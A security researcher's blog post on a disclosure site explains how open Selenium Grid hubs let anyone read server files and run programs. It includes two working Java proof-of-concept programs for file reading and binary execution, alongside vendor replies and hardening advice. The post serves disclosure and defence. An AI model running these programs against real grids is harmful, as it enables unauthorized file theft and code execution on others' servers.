What is Detectify?

Guest Blog: Don't Leave your Grid Wide Open

October 6, 2017

Our guest blogger and Detectify Crowdsource hacker Peter Jaric explains how Selenium Grid could be exploited to read files on the server. 

Introduction

I am a member of Detectify’s CrowdSource and when I use a new system with a web interface I often ask myself, and then my search engine, how many instances of this system can be found unprotected online? If I can find open instances, it sounds like something that could be implemented as a module in Detectify’s scanner.

Recently I got access to a system called Selenium Grid, and a quick search online showed several open instances all over the web. Selenium is a software that allows you to automate browsers. It can be used for anything a browser can be used for, but I have mostly seen it used as an automatic testing tool for web applications. The server runs on a computer with one or more native browsers installed and clients connect to it and instruct it to open web pages. These clients can then click on links, navigate and do (almost) everything else a user could do. *Selenium Grid* makes it possible to run distributed tests remotely and in parallel on different platforms. Clients connect to the hub and the tests are executed on “Nodes” that match the desired capabilities, such as browser or OS.

Issues

I reported this to CrowdSource as an open access/information disclosure issue, where the “grid console”, including configuration information, can be accessed at a specific path. But later I realized – wait, it should be possible to run my own tests against these grids. When I had some free time at home I downloaded Selenium Grid and started experimenting. Sure enough, it was possible to write a small test that connected to both my own grid and someone else’s remote grid. My first test opened a web page and sent the contents to a call home URL I have for these purposes.

Then I had an even better idea: what if you could open file: urls? That would make it possible to read local files. It turned out this was indeed possible. After my CrowdSource module was accepted and implemented, I have made an easier to use Proof of Concept than the one I submitted, and here it is:

import org.openqa.selenium.remote.*;
import org.openqa.selenium.*;
import java.net.URL;

public class PrintFile {
	public static void main(String[] args) throws Exception {
		if (args.length < 2) {
			System.err.println("Call with two parameters, hub URL and path.");
			System.exit(1);
		}

		String hub = args[0];
		String path = args[1];

		WebDriver driver = new RemoteWebDriver(new URL(hub), new DesiredCapabilities().chrome());

		driver.get("file://" + path);
		String text = driver.findElement(By.tagName("body")).getText();
		System.out.println(text);
	}
}


(See the end of the post for instructions on how to compile and run this code yourself.)

This code, written in Java, connects to a remote Selenium-Grid hub and asks it to run a test in a Chrome browser that gets a local file and then prints its body as text to the console. This works on directories and non-HTML files since Chrome will create a HTML version of the directory or file before displaying it to the user. It will not work on files that are not plain text, but it is very likely possible to write a JavaScript-based solution that loads the file, encodes it as Base64 and then sends it back to the client.

I was going to implement that, but then I stumbled upon something even better!

It is possible to give much more detailed instructions on the environment of the test using the class DesiredCapaibilites. One of these capabilities is called ChromeOptions and one if its options is called “binary”. Yes, it is possible to specify to the Hub and its nodes the path to the Chrome binary. I know a great binary called calc.exe, so I tried this:

import org.openqa.selenium.remote.*;
import org.openqa.selenium.*;
import org.openqa.selenium.chrome.ChromeOptions;
import java.net.URL;
import java.io.File;

public class RunFile {
	public static void main(String[] args) throws Exception {
		if (args.length < 2) {
			System.err.println("Call with two parameters, hub URL and path.");
			System.exit(1);
		}

		String hub = args[0];
		String path = args[1];

		DesiredCapabilities capabilities = DesiredCapabilities.chrome();
		ChromeOptions options = new ChromeOptions();
		options.setBinary(new File(path));
		capabilities.setCapability(ChromeOptions.CAPABILITY, options);
		WebDriver driver = new RemoteWebDriver(new URL(hub), capabilities);
		driver.get("");
	}	
}

 

Here we set the binary to a path that we passed into our program and then we make a bogus call to WebDriver.get() to make it call our binary.

It worked! The Windows calculator might not be that interesting, but I see two potential ways to run any program: Either make an ordinary Chrome download, download it to disk and then guess its path (or simply search for it using the PrintFile example above) or use ChromeOptions.addArguments() and then call an existing binary that can execute code from its arguments.

I contacted the developers of ChromeDriver and explained the issue. This is their reply:

“Thanks for providing this feedback to us. ChromeDriver is not designed to be robust against attacks, and users shouldn’t rely on it as a security boundary. Instead, the system should be configured so that malicious code can’t connect to ChromeDriver. ChromeDriver helps this by only allowing local connections by default, though when Selenium server is in use, non-local app can connect to ChromeDriver through Selenium server. Users should limit connections to the Selenium server, e.g., by running the who system behind a firewall. ChromeDriver should never be run with admin permissions, and should generally be run with a test account that only has the necessary permissions.”

I also suggested that the WebDriver could check if the binary was signed, but that is not possible:

“We can’t limit the binary to signed executable only. Since Chrome is open source, people can build their own unsigned versions.”

 Summary


If you leave your Selenium Grid system open to the internet, anyone can run Selenium tests, read files on the server and run code on the server. My advice would be to make sure that only trusted parties have access. But even those who only should be trusted to run tests will be able to start calc.exe (or its Linux counterpart) in the default configuration.

One further way to abuse an open Selenium Grid hub that I have not explored is to act as a Node instead of a client. Nodes that are registered at a hub will receive Selenium tests to execute and might be able to eavesdrop and intercept passwords and other sensitive data.  

If you are wondering: I ran my tests against the grid I mentioned in the beginning, but to no avail – it is set up to disallow external access. Great work, sysadmin!
peterjaric2017_detectify crowdsource

Peter Jaric
Software developer, bug bounty hunter and fun lover
Twitter: https://twitter.com/peterjaric

Are you interested in joining Peter and other security researchers on Detectify Crowdsource? Drop us an email: hello [at] detectify.com and we’ll tell you more, or check out this blog post where we have explained what we look for in a Detectify Crowdsource hacker.